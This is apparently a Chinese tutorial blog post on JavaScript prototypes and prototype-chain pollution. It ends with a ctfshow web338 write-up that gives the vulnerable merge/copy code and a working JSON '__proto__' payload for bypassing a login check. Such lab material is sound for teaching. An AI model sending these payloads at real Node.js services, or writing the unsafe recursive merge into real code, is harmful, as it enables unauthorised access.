当前位置: 首页 > news >正文

nodejs——原型链污染

一、引用类型皆为对象

原型和原型链都是来源于对象而服务于对象的概念,所以我们要先明确一点:

JavaScript中一切引用类型都是对象,对象就是属性的集合。

Array类型Function类型Object类型Date类型RegExp类型等都是引用类型。

也就是说 数组是对象、函数是对象、正则是对象、对象还是对象。

二、原型

写在前面:

任何对象都有原型。

函数也是对象,所以函数也有原型。

1.什么是原型什么是原型链

参考 滑动验证页面

     

构造函数的原型对象和对象原型的关系


对象都会有一个属性__proto指向构造函数的 prototype 原型对象,之所以我们对象可以使用构造函数 prototype原型对象的属性和方法,就是因为对象有proto原型的存在

        用比喻的关系

把构造函数比喻成父亲 构造函数的属性也就是原型 同时也是一个对象 也就是简称为构造函数的原型对象(prototype)是构造函数的大儿子

构造函数实例出来的对象都会有一个(__proto__)属性也就是实例对象的原型 这里简称为构造函数的对象原型 为构造函数的二儿子

实例对象的原型指向构造函数的对象原型

也就是说

function Son(){};
var son = new Son();
console.log(Son.prototype)//Son {}
console.log(son.__proto__)//Son {}
console.log(Son.prototype===son.__proto__)//true

Son.prototype===son.__proto__

2.原型的继承

继承是面向对象编程的另一个特征,通过继承进一步提升代码封装的程度,JavaScript 中大多是借助原型对象实现继承的特性。

eg:

const person = {eyes: 2,head: 1
}function Woman() {
}Woman.prototype = person
const red = new Woman()
console.log(red.eyes)//2

woman虽然没有属性

但是它的原型对象设置为person所以 就可以继承person的属性

3.原型的作用

    实现继承:原型链是JavaScript中实现对象继承的主要机制。当一个对象试图访问一个属性时,如果它自身没有这个属性,JavaScript会在它的原型链上查找这个属性,直到找到这个属性或者到达链的尽头(null)。通过这种方式,原型允许对象继承其他对象的属性和方法。
    共享属性和方法:通过原型,我们可以定义对象的共享属性和方法。这意味着所有对象实例都可以访问和修改这些属性和方法。这在创建大量具有相同属性和方法的对象时非常有用,因为它可以避免在每个对象实例中重复定义这些属性和方法。
    动态修改和扩展:由于原型是一个对象,我们可以在运行时动态地修改和扩展它。这允许我们在不修改原始构造函数的情况下,为所有对象实例添加新的属性和方法。这种灵活性使得原型成为JavaScript中一个非常强大的工具。
    代码重用和模块化:通过创建具有特定原型的对象,我们可以实现代码的重用和模块化。这有助于降低代码的复杂性,提高代码的可读性和可维护性。

二、原型链

理解原型链

       原型链是一种实现继承的机制。在上面的原型链图可以看出,通过把一个对象的原型指向另一个对象,可以让这个对象访问另一个对象的属性,最终形成了一个链条一样的结构。在原型链中查找属性或方法时,JavaScript 会从当前对象开始,沿着原型链(即 __proto__ 链)向上查找,直到找到相应的属性或方法或直到到达 Object.prototype 的原型(即 null)。如果找不到,则返回 undefined。

 参考:

    JS:原型与原型链(附带图解与代码)_js原型和原型链大全-CSDN博客

 

三、原型链污染

可以发现修改了一个对象的原型属性之后会影响到另外一个具有相同原型的对象

哪些情况下原型链会被污染?

思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
对象merge

$.merge() 函数用于合并两个数组内容到第一个数组


对象clone(其实内核就是将待操作的对象merge到一个空对象中)以对象merge为例,一个简单的

function merge(target,source){for (let key in source){if (key in source && key in target){merge(target[key], source[key])}else {target[key]= source[key]}   }
}let o1 ={}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1,o2)
console.log(o1.a, o1.b)//1 2
o3 ={}
console.log(o3.b)//undefined

这是因为,我们用JavaScript创建o2的过程(let o2={a:1,"_proto":{b:2})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a,b],_proto_并不是一个key,自然也不会修改Object的原型

我们修改代码如下

function merge(target,source){for (let key in source){if (key in source && key in target){merge(target[key], source[key])}else {target[key]= source[key]}   }
}let o1 ={}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1,o2)
console.log(o1.a, o1.b)//1 2
o3 ={}
console.log(o3.b)//2

我们设置o2的值为json键值对

这样就成功污染了原型链

例题

ctfshow web——338

直接给了源码

查找关键字找到了login.js

router.post('/', require('body-parser').json(), function(req, res, next) {// 设置一个根路径('/')的POST路由,并使用 'body-parser' 的 JSON 解析中间件来解析请求体中的 JSON 数据。res.type('html');// 设置响应的内容类型为 'html'。var flag = 'flag_here';// 定义一个变量 'flag',值为 'flag_here'。var secert = {};// 初始化一个空对象 'secert'。var sess = req.session;// 将请求中的 session 对象赋值给变量 'sess'。let user = {};// 声明一个变量 'user',初始化为一个空对象。utils.copy(user, req.body);// 使用工具函数 'utils.copy' 将请求体中的属性复制到 'user' 对象中。if (secert.ctfshow === '36dboy') {// 检查 'secert' 对象的 'ctfshow' 属性是否等于 '36dboy'。res.end(flag);// 如果条件为真,发送 'flag' 作为响应并结束响应。} else {return res.json({ ret_code: 2, ret_msg: '登录失败' + JSON.stringify(user) });// 如果条件为假,发送一个包含失败消息的 JSON 响应,其中包括 'user' 对象,并结束响应。}
});

关键在copy

和merge类似

{"username":"a","password":"a","__proto__":{"ctfshow":"36dboy"}}

因为原型污染,secret对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'

相关文章:

  • web前端开发项目教学:深入剖析四大核心、五大技能、六大实战、七大建议
  • Swift Combine — Subject Publishers(PassthroughSubject CurrentValueSubject)
  • 使用ffmpeg进行音频处理
  • 牛客周赛 46 F 祥子拆团
  • UE5 发射物目标追踪
  • CDN简介
  • freemarker 使用
  • Vue46-render函数
  • 收银系统源码-连锁店收银系统,支持二次开发
  • MYSQL(事务)
  • oracle发送邮件附件的步骤?怎么配置发信?
  • CUDA算子优化:矩阵乘GEMM优化(三)
  • Java 插入Mysql 报错:Column count doesn‘t match value count at row 1
  • 如何完美解决 Xshell 使用 SSH 连接 Linux 服务器报错:找不到匹配的 host key 算法
  • Linux下C程序的编写
  • 收藏网友的 源程序下载网
  • 【跃迁之路】【641天】程序员高效学习方法论探索系列(实验阶段398-2018.11.14)...
  • emacs初体验
  • Git的一些常用操作
  • httpie使用详解
  • JAVA多线程机制解析-volatilesynchronized
  • MySQL常见的两种存储引擎:MyISAM与InnoDB的爱恨情仇
  • Rancher如何对接Ceph-RBD块存储
  • 构建二叉树进行数值数组的去重及优化
  • 汉诺塔算法
  • 机器人定位导航技术 激光SLAM与视觉SLAM谁更胜一筹?
  • 简单数学运算程序(不定期更新)
  • 算法之不定期更新(一)(2018-04-12)
  • 微信开放平台全网发布【失败】的几点排查方法
  • 用Node EJS写一个爬虫脚本每天定时给心爱的她发一封暖心邮件
  • 怎样选择前端框架
  • [地铁译]使用SSD缓存应用数据——Moneta项目: 低成本优化的下一代EVCache ...
  • 【运维趟坑回忆录】vpc迁移 - 吃螃蟹之路
  • 哈罗单车融资几十亿元,蚂蚁金服与春华资本加持 ...
  • ​io --- 处理流的核心工具​
  • ​ubuntu下安装kvm虚拟机
  • ​软考-高级-系统架构设计师教程(清华第2版)【第1章-绪论-思维导图】​
  • # Panda3d 碰撞检测系统介绍
  • (+3)1.3敏捷宣言与敏捷过程的特点
  • (PWM呼吸灯)合泰开发板HT66F2390-----点灯大师
  • (切换多语言)vantUI+vue-i18n进行国际化配置及新增没有的语言包
  • (十)T检验-第一部分
  • (十五)Flask覆写wsgi_app函数实现自定义中间件
  • (十五)使用Nexus创建Maven私服
  • (转)eclipse内存溢出设置 -Xms212m -Xmx804m -XX:PermSize=250M -XX:MaxPermSize=356m
  • (转)linux下的时间函数使用
  • *++p:p先自+,然后*p,最终为3 ++*p:先*p,即arr[0]=1,然后再++,最终为2 *p++:值为arr[0],即1,该语句执行完毕后,p指向arr[1]
  • ./indexer: error while loading shared libraries: libmysqlclient.so.18: cannot open shared object fil
  • .net core 6 集成 elasticsearch 并 使用分词器
  • .NET 应用架构指导 V2 学习笔记(一) 软件架构的关键原则
  • .Net6 Api Swagger配置
  • /bin、/sbin、/usr/bin、/usr/sbin
  • /usr/bin/python: can't decompress data; zlib not available 的异常处理
  • @require_PUTNameError: name ‘require_PUT‘ is not defined 解决方法
  • @SuppressLint(NewApi)和@TargetApi()的区别